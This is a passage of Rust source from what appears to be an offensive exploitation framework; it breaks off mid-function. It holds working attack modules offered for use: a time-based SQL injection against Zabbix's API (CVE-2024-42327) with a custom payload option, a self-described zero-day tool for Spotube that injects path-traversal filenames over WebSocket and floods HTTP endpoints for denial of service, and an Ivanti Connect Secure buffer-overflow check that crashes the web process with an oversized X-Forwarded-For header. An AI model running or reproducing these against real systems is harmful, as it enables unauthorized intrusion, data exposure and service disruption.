Display module banner 42 | fn display_banner() { 43 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 44 | println!("{}", "║ Zabbix 7.0.0 SQL Injection Checker ║".cyan()); 45 | println!("{}", "║ CVE-2024-42327 - Time-based SQL Injection ║".cyan()); 46 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 47 | } 48 | 49 | // Internal function renamed to `exploit_zabbix` to avoid conflicts 50 | async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> { 51 | let client = Client::builder() 52 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 53 | .danger_accept_invalid_certs(true) 54 | .build() 55 | .map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?; 56 | 57 | let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/')); 58 | 59 | // Login to get the token 60 | println!("{}", "[*] Attempting to authenticate...".cyan()); 61 | let login_data = json!({ 62 | "jsonrpc": "2.0", 63 | "method": "user.login", 64 | "params": { 65 | "username": username, 66 | "password": password 67 | }, 68 | "id": 1, 69 | "auth": null 70 | }); 71 | 72 | let login_response = client 73 | .post(&url) 74 | .header("Content-Type", HEADERS) 75 | .json(&login_data) 76 | .send() 77 | .await 78 | .map_err(|e| anyhow!("Login request error: {}", e))?; 79 | 80 | let login_response_json: serde_json::Value = login_response 81 | .json() 82 | .await 83 | .map_err(|e| anyhow!("Failed to parse login response: {}", e))?; 84 | 85 | let auth_token = login_response_json 86 | .get("result") 87 | .ok_or_else(|| anyhow!("Failed to retrieve auth token - check credentials"))? 88 | .as_str() 89 | .ok_or_else(|| anyhow!("Auth token not a string"))? 90 | .to_string(); 91 | 92 | println!("{}", "[+] Authentication successful".green()); 93 | 94 | // SQLi test using the provided payload 95 | println!("{}", "[*] Testing for SQL injection vulnerability...".yellow()); 96 | let sqli_data = json!({ 97 | "jsonrpc": "2.0", 98 | "method": "user.get", 99 | "params": { 100 | "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"], 101 | "userids": ["1", "2"] 102 | }, 103 | "id": 1, 104 | "auth": auth_token 105 | }); 106 | 107 | let start = std::time::Instant::now(); 108 | let test_response = client 109 | .post(&url) 110 | .header("Content-Type", HEADERS) 111 | .json(&sqli_data) 112 | .send() 113 | .await 114 | .map_err(|e| anyhow!("Test request error: {}", e))?; 115 | 116 | let elapsed = start.elapsed(); 117 | let test_response_text = test_response 118 | .text() 119 | .await 120 | .map_err(|e| anyhow!("Failed to read test response: {}", e))?; 121 | 122 | println!("{}", format!("[*] Response received in {:.2}s", elapsed.as_secs_f64()).cyan()); 123 | 124 | if test_response_text.contains("\"error\"") { 125 | println!("{}", "[-] Target does NOT appear vulnerable (error in response).".red()); 126 | } else if elapsed.as_secs() >= 5 { 127 | println!("{}", "[+] VULNERABLE! Response delayed by SLEEP injection.".green().bold()); 128 | } else { 129 | println!("{}", "[?] Inconclusive - response received but no delay detected.".yellow()); 130 | } 131 | 132 | Ok(()) 133 | } 134 | 135 | // Prompt user to choose a payload option 136 | async fn get_payload_choice() -> Result { 137 | println!("{}", "[*] Choose SQL payload option:".cyan().bold()); 138 | println!(" {} Load SQL payloads from file", "[1]".green()); 139 | println!(" {} Enter custom SQL payload", "[2]".green()); 140 | println!(" {} Use default SQL payload (SLEEP-based)", "[3]".green()); 141 | 142 | let mut choice = String::new(); 143 | print!("{}", "Enter your choice (1/2/3): ".cyan().bold()); 144 | tokio::io::stdout() 145 | .flush() 146 | .await 147 | .context("Failed to flush stdout")?; 148 | tokio::io::BufReader::new(tokio::io::stdin()) 149 | .read_line(&mut choice) 150 | .await 151 | .context("Failed to read user choice")?; 152 | 153 | let choice = choice.trim(); 154 | 155 | match choice { 156 | "1" => { 157 | // Load from a file (e.g., sql_payloads.txt) 158 | println!("{}", "[*] Loading SQL payloads from file...".cyan()); 159 | let payloads = fs::read_to_string("sql_payloads.txt") 160 | .map_err(|e| anyhow!("Error reading payload file: {}", e))?; 161 | println!("{}", "[+] Payloads loaded successfully".green()); 162 | Ok(payloads.trim().to_string()) 163 | } 164 | "2" => { 165 | // Allow user to input a custom payload 166 | print!("{}", "Enter your custom SQL payload: ".cyan().bold()); 167 | tokio::io::stdout() 168 | .flush() 169 | .await 170 | .context("Failed to flush stdout")?; 171 | let mut custom_payload = String::new(); 172 | tokio::io::BufReader::new(tokio::io::stdin()) 173 | .read_line(&mut custom_payload) 174 | .await 175 | .context("Failed to read custom payload")?; 176 | 177 | let custom_payload = custom_payload.trim(); 178 | 179 | // Ensure the custom payload isn't empty 180 | if custom_payload.is_empty() { 181 | println!("{}", "[-] Custom payload cannot be empty".red()); 182 | return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload.")); 183 | } 184 | 185 | println!("{}", format!("[+] Using custom payload: {}", custom_payload).green()); 186 | Ok(custom_payload.to_string()) 187 | } 188 | "3" => { 189 | // Use a default payload 190 | println!("{}", "[*] Using default SQL payload (SLEEP-based)...".cyan()); 191 | Ok("readonly AND (SELECT(SLEEP(5)))".to_string()) 192 | } 193 | _ => { 194 | println!("{}", "[-] Invalid choice".red()); 195 | Err(anyhow!("Invalid choice, please select 1, 2, or 3.")) 196 | } 197 | } 198 | } 199 | 200 | // Public dispatch entry point 201 | pub async fn run(target: &str) -> Result<()> { 202 | display_banner(); 203 | println!("{}", format!("[*] Target API URL: {}", target).yellow()); 204 | println!(); 205 | 206 | let mut username = String::new(); 207 | let mut password = String::new(); 208 | 209 | print!("{}", "Username: ".cyan().bold()); 210 | tokio::io::stdout() 211 | .flush() 212 | .await 213 | .context("Failed to flush stdout")?; 214 | tokio::io::BufReader::new(tokio::io::stdin()) 215 | .read_line(&mut username) 216 | .await 217 | .context("Failed to read username")?; 218 | 219 | print!("{}", "Password: ".cyan().bold()); 220 | tokio::io::stdout() 221 | .flush() 222 | .await 223 | .context("Failed to flush stdout")?; 224 | tokio::io::BufReader::new(tokio::io::stdin()) 225 | .read_line(&mut password) 226 | .await 227 | .context("Failed to read password")?; 228 | 229 | let username = username.trim(); 230 | let password = password.trim(); 231 | 232 | if username.is_empty() || password.is_empty() { 233 | println!("{}", "[-] Username and password are required".red()); 234 | return Err(anyhow!("Username and password are required")); 235 | } 236 | 237 | // Get the payload choice from the user 238 | let payload = get_payload_choice().await?; 239 | 240 | // Run the exploit with the selected payload 241 | exploit_zabbix(target, username, password, &payload).await 242 | } 243 | -------------------------------------------------------------------------------- /src/config.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use std::sync::{Arc, RwLock}; 3 | use ipnetwork::IpNetwork; 4 | use regex::Regex; 5 | 6 | /// Maximum length for target strings 7 | const MAX_TARGET_LENGTH: usize = 2048; 8 | 9 | /// Maximum length for hostname 10 | const MAX_HOSTNAME_LENGTH: usize = 253; 11 | 12 | /// Global configuration for the framework 13 | #[derive(Clone, Debug)] 14 | pub struct GlobalConfig { 15 | /// Global target - can be a single IP or CIDR subnet 16 | target: Arc>>, 17 | } 18 | 19 | #[derive(Clone, Debug)] 20 | pub enum TargetConfig { 21 | /// Single IP address or hostname 22 | Single(String), 23 | /// CIDR subnet (e.g., "192.168.1.0/24") 24 | Subnet(IpNetwork), 25 | } 26 | 27 | impl GlobalConfig { 28 | /// Create a new global configuration 29 | pub fn new() -> Self { 30 | Self { 31 | target: Arc::new(RwLock::new(None)), 32 | } 33 | } 34 | 35 | /// Set the global target (IP, hostname, or CIDR subnet) 36 | pub fn set_target(&self, target: &str) -> Result<()> { 37 | let trimmed = target.trim(); 38 | 39 | // Basic validation 40 | if trimmed.is_empty() { 41 | return Err(anyhow!("Target cannot be empty")); 42 | } 43 | 44 | // Length check 45 | if trimmed.len() > MAX_TARGET_LENGTH { 46 | return Err(anyhow!( 47 | "Target too long (max {} characters)", 48 | MAX_TARGET_LENGTH 49 | )); 50 | } 51 | 52 | // Check for control characters 53 | if trimmed.chars().any(|c| c.is_control()) { 54 | return Err(anyhow!("Target cannot contain control characters")); 55 | } 56 | 57 | // Check for path traversal attempts 58 | if trimmed.contains("..") || trimmed.contains("//") { 59 | return Err(anyhow!("Target contains invalid characters (path traversal)")); 60 | } 61 | 62 | // Try to parse as CIDR subnet first 63 | if let Ok(network) = trimmed.parse::() { 64 | let mut target_guard = self.target.write().unwrap(); 65 | *target_guard = Some(TargetConfig::Subnet(network)); 66 | return Ok(()); 67 | } 68 | 69 | // Validate hostname/IP format 70 | Self::validate_hostname_or_ip(trimmed)?; 71 | 72 | // Otherwise, treat as single IP or hostname 73 | let mut target_guard = self.target.write().unwrap(); 74 | *target_guard = Some(TargetConfig::Single(trimmed.to_string())); 75 | Ok(()) 76 | } 77 | 78 | /// Validates a hostname or IP address format 79 | fn validate_hostname_or_ip(target: &str) -> Result<()> { 80 | // Length check for hostname 81 | if target.len() > MAX_HOSTNAME_LENGTH { 82 | return Err(anyhow!( 83 | "Hostname too long (max {} characters)", 84 | MAX_HOSTNAME_LENGTH 85 | )); 86 | } 87 | 88 | // Check for valid characters 89 | // Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6) 90 | let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap(); 91 | if !valid_chars.is_match(target) { 92 | return Err(anyhow!( 93 | "Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'" 94 | )); 95 | } 96 | 97 | // Check for spaces 98 | if target.contains(' ') { 99 | return Err(anyhow!("Target cannot contain spaces")); 100 | } 101 | 102 | // Basic hostname format check (not starting/ending with special chars) 103 | if target.starts_with('.') || target.starts_with('-') { 104 | return Err(anyhow!("Target cannot start with '.' or '-'")); 105 | } 106 | 107 | if target.ends_with('.') && !target.ends_with("..") { 108 | // Allow trailing dot for FQDN, but not double dots 109 | } 110 | 111 | // Check for consecutive dots (invalid in hostnames) 112 | if target.contains("..") { 113 | return Err(anyhow!("Target cannot contain consecutive dots")); 114 | } 115 | 116 | Ok(()) 117 | } 118 | 119 | /// Get the global target as a single string (for display) 120 | pub fn get_target(&self) -> Option { 121 | let target_guard = self.target.read().unwrap(); 122 | target_guard.as_ref().map(|t| match t { 123 | TargetConfig::Single(ip) => ip.clone(), 124 | TargetConfig::Subnet(net) => net.to_string(), 125 | }) 126 | } 127 | 128 | /// Get a single IP address from the global target 129 | /// For subnets, returns the network address (first IP) 130 | pub fn get_single_target_ip(&self) -> Result { 131 | let target_guard = self.target.read().unwrap(); 132 | 133 | match target_guard.as_ref() { 134 | Some(TargetConfig::Single(ip)) => { 135 | Ok(ip.clone()) 136 | } 137 | Some(TargetConfig::Subnet(net)) => { 138 | // Return the network address (first IP in the subnet) 139 | Ok(net.network().to_string()) 140 | } 141 | None => Err(anyhow!("No global target set")), 142 | } 143 | } 144 | 145 | /// Get all IP addresses from the global target 146 | /// Returns a vector of IP addresses (expands subnets) 147 | /// For very large subnets (> 65536 IPs), returns an error 148 | pub fn get_target_ips(&self) -> Result> { 149 | let target_guard = self.target.read().unwrap(); 150 | 151 | match target_guard.as_ref() { 152 | Some(TargetConfig::Single(ip)) => { 153 | // For single IP/hostname, return as-is 154 | Ok(vec![ip.clone()]) 155 | } 156 | Some(TargetConfig::Subnet(net)) => { 157 | // Check subnet size to prevent memory issues 158 | // Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6 159 | let size = match net { 160 | IpNetwork::V4(net4) => { 161 | let prefix = net4.prefix() as u32; 162 | if prefix >= 32 { 163 | 1u64 164 | } else { 165 | 2u64.pow(32 - prefix) 166 | } 167 | } 168 | IpNetwork::V6(net6) => { 169 | let prefix = net6.prefix() as u32; 170 | if prefix >= 128 { 171 | 1u64 172 | } else { 173 | // For very large IPv6 subnets, cap at u64::MAX 174 | let exp = 128u32.saturating_sub(prefix); 175 | if exp > 63 { 176 | u64::MAX 177 | } else { 178 | 2u64.pow(exp) 179 | } 180 | } 181 | } 182 | }; 183 | const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller 184 | 185 | if size > MAX_SUBNET_SIZE { 186 | return Err(anyhow!( 187 | "Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.", 188 | size, MAX_SUBNET_SIZE 189 | )); 190 | } 191 | 192 | // Expand subnet to individual IPs 193 | let mut ips = Vec::new(); 194 | for ip in net.iter() { 195 | ips.push(ip.to_string()); 196 | } 197 | Ok(ips) 198 | } 199 | None => Err(anyhow!("No global target set")), 200 | } 201 | } 202 | 203 | /// Check if global target is set 204 | pub fn has_target(&self) -> bool { 205 | let target_guard = self.target.read().unwrap(); 206 | target_guard.is_some() 207 | } 208 | 209 | /// Check if global target is a subnet 210 | pub fn is_subnet(&self) -> bool { 211 | let target_guard = self.target.read().unwrap(); 212 | matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_))) 213 | } 214 | 215 | /// Get the size of the target (number of IPs) 216 | /// For single IPs, returns 1 217 | /// For subnets, returns the subnet size without expanding 218 | pub fn get_target_size(&self) -> Option { 219 | let target_guard = self.target.read().unwrap(); 220 | match target_guard.as_ref() { 221 | Some(TargetConfig::Single(_)) => Some(1), 222 | Some(TargetConfig::Subnet(net)) => { 223 | // Calculate size from prefix length 224 | let size = match net { 225 | IpNetwork::V4(net4) => { 226 | let prefix = net4.prefix() as u32; 227 | if prefix >= 32 { 228 | 1u64 229 | } else { 230 | 2u64.pow(32 - prefix) 231 | } 232 | } 233 | IpNetwork::V6(net6) => { 234 | let prefix = net6.prefix() as u32; 235 | if prefix >= 128 { 236 | 1u64 237 | } else { 238 | let exp = 128u32.saturating_sub(prefix); 239 | if exp > 63 { 240 | u64::MAX 241 | } else { 242 | 2u64.pow(exp) 243 | } 244 | } 245 | } 246 | }; 247 | Some(size) 248 | } 249 | None => None, 250 | } 251 | } 252 | 253 | /// Clear the global target 254 | pub fn clear_target(&self) { 255 | let mut target_guard = self.target.write().unwrap(); 256 | *target_guard = None; 257 | } 258 | } 259 | 260 | /// Global configuration instance 261 | use once_cell::sync::Lazy; 262 | 263 | pub static GLOBAL_CONFIG: Lazy = Lazy::new(|| GlobalConfig::new()); 264 | 265 | -------------------------------------------------------------------------------- /src/modules/exploits/spotube/spotube.rs: -------------------------------------------------------------------------------- 1 | //// src/modules/exploits/spotube/spotube_remote.rs 2 | //// src/modules/exploits/spotube/spotube.rs 3 | //// made by me suicidal teddy my first ever zero day exploit 4 | //// no auth when you use api and can be excuted locally 5 | //// src/modules/exploits/spotube/spotube.rs 6 | use anyhow::{Context, Result}; 7 | use colored::*; 8 | use futures_util::{SinkExt, StreamExt}; 9 | use reqwest::Client; 10 | use serde_json::json; 11 | use std::collections::HashMap; 12 | use tokio::time::{sleep, Duration}; 13 | use tokio_tungstenite::connect_async; 14 | use tokio_tungstenite::tungstenite::Message; 15 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 16 | 17 | // //// // Custom headers to emulate BurpSuite-style browser requests 18 | fn browser_headers(host: &str, port: &str) -> HashMap { 19 | let mut headers = HashMap::new(); 20 | headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into()); 21 | headers.insert("Upgrade-Insecure-Requests".into(), "1".into()); 22 | headers.insert( 23 | "User-Agent".into(), 24 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \ 25 | (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 26 | .into(), 27 | ); 28 | headers.insert( 29 | "Accept".into(), 30 | "text/html,application/xhtml+xml,application/xml;q=0.9,\ 31 | image/avif,image/webp,image/apng,*/*;q=0.8,\ 32 | application/signed-exchange;v=b3;q=0.7" 33 | .into(), 34 | ); 35 | headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into()); 36 | headers.insert("Connection".into(), "keep-alive".into()); 37 | headers.insert("Host".into(), format!("{}:{}", host, port)); 38 | headers 39 | } 40 | 41 | // //// // Sends the GET request to the Spotube endpoint with custom headers 42 | async fn execute(host: &str, port: &str, path: &str) -> Result<()> { 43 | let client = Client::builder() 44 | .danger_accept_invalid_certs(true) 45 | .timeout(std::time::Duration::from_secs(5)) 46 | .build() 47 | .context("Failed to build HTTP client")?; 48 | 49 | let url = format!("http://{}:{}{}", host, port, path); 50 | let headers = browser_headers(host, port); 51 | 52 | let mut request = client.get(&url); 53 | for (key, value) in headers { 54 | request = request.header(&key, &value); 55 | } 56 | 57 | let response = request.send().await.context("Request failed")?; 58 | let status = response.status(); 59 | let body = response.text().await.unwrap_or_default(); 60 | 61 | println!( 62 | "{} → {} {}", 63 | path, 64 | status.as_u16(), 65 | status.canonical_reason().unwrap_or("Unknown") 66 | ); 67 | println!("{}", body.trim()); 68 | 69 | Ok(()) 70 | } 71 | 72 | // //// // Sends a malicious 'load' event over WS with a track name containing ../ 73 | async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> { 74 | // prompt for malicious filename 75 | print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold()); 76 | tokio::io::stdout() 77 | .flush() 78 | .await 79 | .context("Failed to flush stdout")?; 80 | let mut name = String::new(); 81 | tokio::io::BufReader::new(tokio::io::stdin()) 82 | .read_line(&mut name) 83 | .await 84 | .context("Failed to read filename")?; 85 | let malicious_name = { 86 | let t = name.trim(); 87 | if t.is_empty() { "../evil.sh" } else { t } 88 | }; 89 | 90 | // prompt for fake track ID 91 | print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold()); 92 | tokio::io::stdout() 93 | .flush() 94 | .await 95 | .context("Failed to flush stdout")?; 96 | let mut tid = String::new(); 97 | tokio::io::BufReader::new(tokio::io::stdin()) 98 | .read_line(&mut tid) 99 | .await 100 | .context("Failed to read track ID")?; 101 | let track_id = { 102 | let t = tid.trim(); 103 | if t.is_empty() { "INJECT1" } else { t } 104 | }; 105 | 106 | // prompt for codec extension 107 | print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold()); 108 | tokio::io::stdout() 109 | .flush() 110 | .await 111 | .context("Failed to flush stdout")?; 112 | let mut cd = String::new(); 113 | tokio::io::BufReader::new(tokio::io::stdin()) 114 | .read_line(&mut cd) 115 | .await 116 | .context("Failed to read codec")?; 117 | let codec = { 118 | let t = cd.trim(); 119 | if t.is_empty() { "mp3" } else { t } 120 | }; 121 | 122 | let payload = json!({ 123 | "type": "load", 124 | "data": { 125 | "tracks": [ 126 | { 127 | "name": malicious_name, 128 | "artists": { "asString": "" }, 129 | "sourceInfo": { "id": track_id }, 130 | "codec": { "name": codec } 131 | } 132 | ] 133 | } 134 | }); 135 | 136 | let ws_url = format!("ws://{}:{}/ws", host, port); 137 | println!("Connecting to {} …", ws_url); 138 | 139 | let (ws_stream, _) = connect_async(&ws_url) 140 | .await 141 | .context("WebSocket connection failed")?; 142 | let (mut write, _) = ws_stream.split(); 143 | 144 | let msg_text = payload.to_string(); 145 | write 146 | .send(Message::Text(msg_text.clone().into())) 147 | .await 148 | .context("Failed to send WebSocket message")?; 149 | 150 | println!("▶️ Malicious load payload sent:"); 151 | println!("{}", serde_json::to_string_pretty(&payload)?); 152 | 153 | Ok(()) 154 | } 155 | 156 | // //// // Floods the given endpoint with `count` rapid requests (with optional delay). 157 | async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> { 158 | println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay); 159 | for _ in 0..count { 160 | let _ = execute(host, port, path).await; 161 | if delay > 0.0 { 162 | sleep(Duration::from_secs_f64(delay)).await; 163 | } 164 | } 165 | println!("🔥 Done flood."); 166 | Ok(()) 167 | } 168 | 169 | // //// // CLI menu that mimics the original Python script, now with WS and DoS 170 | pub async fn run(target: &str) -> Result<()> { 171 | println!("⚙️ Spotube Advanced Exploit CLI\n"); 172 | 173 | let host = target.to_string(); // use target passed from set command 174 | 175 | // //// // port prompt (optional override) 176 | print!("{}", "Enter port [17086]: ".cyan().bold()); 177 | tokio::io::stdout() 178 | .flush() 179 | .await 180 | .context("Failed to flush stdout")?; 181 | let mut p = String::new(); 182 | tokio::io::BufReader::new(tokio::io::stdin()) 183 | .read_line(&mut p) 184 | .await 185 | .context("Failed to read port")?; 186 | let port = { 187 | let t = p.trim(); 188 | if t.is_empty() { "17086".to_string() } else { t.to_string() } 189 | }; 190 | 191 | let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin()); 192 | loop { 193 | println!("\n=== Menu ==="); 194 | println!("1. Ping server"); 195 | println!("2. Next track"); 196 | println!("3. Previous track"); 197 | println!("4. Toggle play/pause"); 198 | println!("5. Inject path-traversal via WS"); 199 | println!("6. Flood HTTP endpoint (DoS)"); 200 | println!("7. Exit"); 201 | 202 | print!("Choose an option: "); 203 | tokio::io::stdout() 204 | .flush() 205 | .await 206 | .context("Failed to flush stdout")?; 207 | let mut choice = String::new(); 208 | stdin_reader.read_line(&mut choice) 209 | .await 210 | .context("Failed to read choice")?; 211 | match choice.trim() { 212 | "1" => { 213 | println!("\n▶️ Ping server …"); 214 | let _ = execute(&host, &port, "/ping").await; 215 | } 216 | "2" => { 217 | println!("\n▶️ Next track …"); 218 | let _ = execute(&host, &port, "/playback/next").await; 219 | } 220 | "3" => { 221 | println!("\n▶️ Previous track …"); 222 | let _ = execute(&host, &port, "/playback/previous").await; 223 | } 224 | "4" => { 225 | println!("\n▶️ Toggle play/pause …"); 226 | let _ = execute(&host, &port, "/playback/toggle-playback").await; 227 | } 228 | "5" => { 229 | ws_inject_path_traversal(&host, &port).await?; 230 | } 231 | "6" => { 232 | // //// // flood prompts 233 | print!("Endpoint to flood (e.g. /playback/next): "); 234 | tokio::io::stdout() 235 | .flush() 236 | .await 237 | .context("Failed to flush stdout")?; 238 | let mut path = String::new(); 239 | stdin_reader.read_line(&mut path) 240 | .await 241 | .context("Failed to read endpoint")?; 242 | let path = path.trim(); 243 | 244 | print!("Number of requests [100]: "); 245 | tokio::io::stdout() 246 | .flush() 247 | .await 248 | .context("Failed to flush stdout")?; 249 | let mut cnt = String::new(); 250 | stdin_reader.read_line(&mut cnt) 251 | .await 252 | .context("Failed to read count")?; 253 | let count = cnt.trim().parse().unwrap_or(100); 254 | 255 | print!("Delay between requests (s) [0]: "); 256 | tokio::io::stdout() 257 | .flush() 258 | .await 259 | .context("Failed to flush stdout")?; 260 | let mut dly = String::new(); 261 | stdin_reader.read_line(&mut dly) 262 | .await 263 | .context("Failed to read delay")?; 264 | let delay = dly.trim().parse().unwrap_or(0.0); 265 | 266 | dos_flood(&host, &port, path, count, delay).await?; 267 | } 268 | "7" => { 269 | println!("👋 Goodbye!"); 270 | break; 271 | } 272 | _ => println!("❌ Invalid choice, try again."), 273 | } 274 | } 275 | 276 | Ok(()) 277 | } 278 | -------------------------------------------------------------------------------- /src/modules/exploits/ivanti/ivanti_connect_secure_stack_based_buffer_overflow.rs: -------------------------------------------------------------------------------- 1 | //CVE-2025-22457 – Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check 2 | 3 | //Author: Bryan Smith (@securekomodo) 4 | //Severity: Critical 5 | //CWE: CWE-121 – Stack-Based Buffer Overflow 6 | //CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) 7 | //Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways 8 | //Affected Versions: 9 | // - Connect Secure < 22.7R2.6 10 | // - Policy Secure < 22.7R1.4 11 | // - ZTA Gateways < 22.8R2.2 12 | 13 | // Description: 14 | // This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure, 15 | // which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header. 16 | 17 | // In detailed mode, the vulnerability is confirmed if: 18 | // 1. A pre-check GET request returns HTTP 200 19 | // 2. A POST request with the crafted payload receives no response (safe crash) 20 | // 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental 21 | 22 | // If this sequence is observed, the system is marked as vulnerable. 23 | // A vulnerable system will generate the log on the server appliance: 24 | // ERROR31093: Program web recently failed. 25 | 26 | //References: 27 | // - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457 28 | // - https://www.cvedetails.com/cve/CVE-2025-22457 29 | // - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce 30 | 31 | 32 | 33 | 34 | 35 | use anyhow::{Context, Result}; 36 | use regex::Regex; 37 | use reqwest::{Client, StatusCode}; 38 | use std::time::Duration; 39 | use tokio::time::sleep; 40 | use tokio::io::{self, AsyncBufReadExt, BufReader}; 41 | use url::Url; 42 | 43 | /// ANSI color codes for terminal output 44 | struct Colors; 45 | impl Colors { 46 | const YELLOW: &'static str = "\x1b[93m"; 47 | const GREEN: &'static str = "\x1b[92m"; 48 | const GRAY: &'static str = "\x1b[90m"; 49 | const RED: &'static str = "\x1b[91m"; 50 | const RESET: &'static str = "\x1b[0m"; 51 | } 52 | 53 | /// // Paths tested for CVE-2025-22457 54 | const PATHS: [&str; 2] = [ 55 | "/dana-na/auth/url_default/welcome.cgi", 56 | "/dana-na/setup/psaldownload.cgi", 57 | ]; 58 | 59 | /// // Headers for initial and payload requests 60 | fn default_headers() -> Result { 61 | let mut headers = reqwest::header::HeaderMap::new(); 62 | headers.insert("User-Agent", "Mozilla/5.0".parse() 63 | .context("Failed to parse User-Agent header")?); 64 | Ok(headers) 65 | } 66 | 67 | fn payload_headers() -> Result { 68 | let mut headers = reqwest::header::HeaderMap::new(); 69 | headers.insert("User-Agent", "Mozilla/5.0".parse() 70 | .context("Failed to parse User-Agent header")?); 71 | headers.insert("X-Forwarded-For", "1".repeat(2048).parse() 72 | .context("Failed to parse X-Forwarded-For header")?); 73 | Ok(headers) 74 | } 75 | 76 | /// // Safe HTTP request wrapper 77 | async fn safe_request( 78 | method: &str, 79 | url: &str, 80 | headers: reqwest::header::HeaderMap, 81 | timeout_secs: u64, 82 | ) -> Option { 83 | let client = Client::builder() 84 | .danger_accept_invalid_certs(true) 85 | .timeout(Duration::from_secs(timeout_secs)) 86 | .build() 87 | .ok()?; 88 | 89 | match method { 90 | "GET" => client.get(url).headers(headers).send().await.ok(), 91 | "POST" => client.post(url).headers(headers).send().await.ok(), 92 | _ => None, 93 | } 94 | } 95 | 96 | /// // Normalize and extract usable target URL from IPv6/host formats 97 | async fn normalize_target(raw: &str) -> Result { 98 | let mut input = raw.trim().to_string(); 99 | 100 | // // Handle IPv6 edge brackets like [[::1]] or [[[::1]]] 101 | while input.starts_with('[') && input.ends_with(']') { 102 | input = input.trim_start_matches('[').trim_end_matches(']').to_string(); 103 | } 104 | 105 | // // Prepend https:// if missing 106 | if !input.starts_with("http://") && !input.starts_with("https://") { 107 | input = format!("https://{}", input); 108 | } 109 | 110 | let mut parsed = Url::parse(&input)?; 111 | 112 | // // Prompt for port if not present 113 | if parsed.port_or_known_default().is_none() { 114 | println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET); 115 | let mut port_line = String::new(); 116 | BufReader::new(io::stdin()).read_line(&mut port_line).await?; 117 | let port = port_line.trim().parse::()?; 118 | parsed.set_port(Some(port)) 119 | .map_err(|_| anyhow::anyhow!("Invalid port: {}", port))?; 120 | } 121 | 122 | Ok(parsed[..].to_string()) 123 | } 124 | 125 | /// // Version info grabber for passive fingerprinting 126 | async fn grab_version_info(target: &str) -> Result> { 127 | let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target); 128 | let client = Client::builder() 129 | .danger_accept_invalid_certs(true) 130 | .timeout(Duration::from_secs(5)) 131 | .build()?; 132 | 133 | if let Ok(r) = client.get(&version_url).send().await { 134 | if r.status() == StatusCode::OK { 135 | let body = r.text().await?; 136 | let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?; 137 | let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?; 138 | 139 | let name = name_re 140 | .captures(&body) 141 | .and_then(|cap| cap.get(1).map(|m| m.as_str())); 142 | let ver = ver_re 143 | .captures(&body) 144 | .and_then(|cap| cap.get(1).map(|m| m.as_str())); 145 | 146 | if let (Some(name), Some(ver)) = (name, ver) { 147 | println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET); 148 | 149 | // // Passive logic 150 | if ver.starts_with("9.") { 151 | println!( 152 | "{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}", 153 | Colors::YELLOW, Colors::RESET 154 | ); 155 | } else if let Ok(parsed_ver) = semver::Version::parse(ver) { 156 | if parsed_ver < semver::Version::parse("22.7.0")? { 157 | println!( 158 | "{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}", 159 | Colors::YELLOW, ver, Colors::RESET 160 | ); 161 | } else { 162 | println!( 163 | "{}Version {} appears patched.{}", 164 | Colors::GREEN, ver, Colors::RESET 165 | ); 166 | } 167 | } 168 | 169 | return Ok(Some(version_url)); 170 | } 171 | } 172 | } 173 | 174 | println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET); 175 | Ok(None) 176 | } 177 | 178 | /// // Run detailed check using the 3-phase logic from PoC 179 | async fn detailed_check(target: &str) -> Result> { 180 | println!( 181 | "\n{}Starting detailed check on {}{}", 182 | Colors::GRAY, target, Colors::RESET 183 | ); 184 | 185 | let mut vulnerable_paths = Vec::new(); 186 | 187 | if let Some(ver_url) = grab_version_info(target).await? { 188 | vulnerable_paths.push(ver_url); 189 | } 190 | 191 | for path in PATHS { 192 | let full_url = format!("{target}{path}"); 193 | println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET); 194 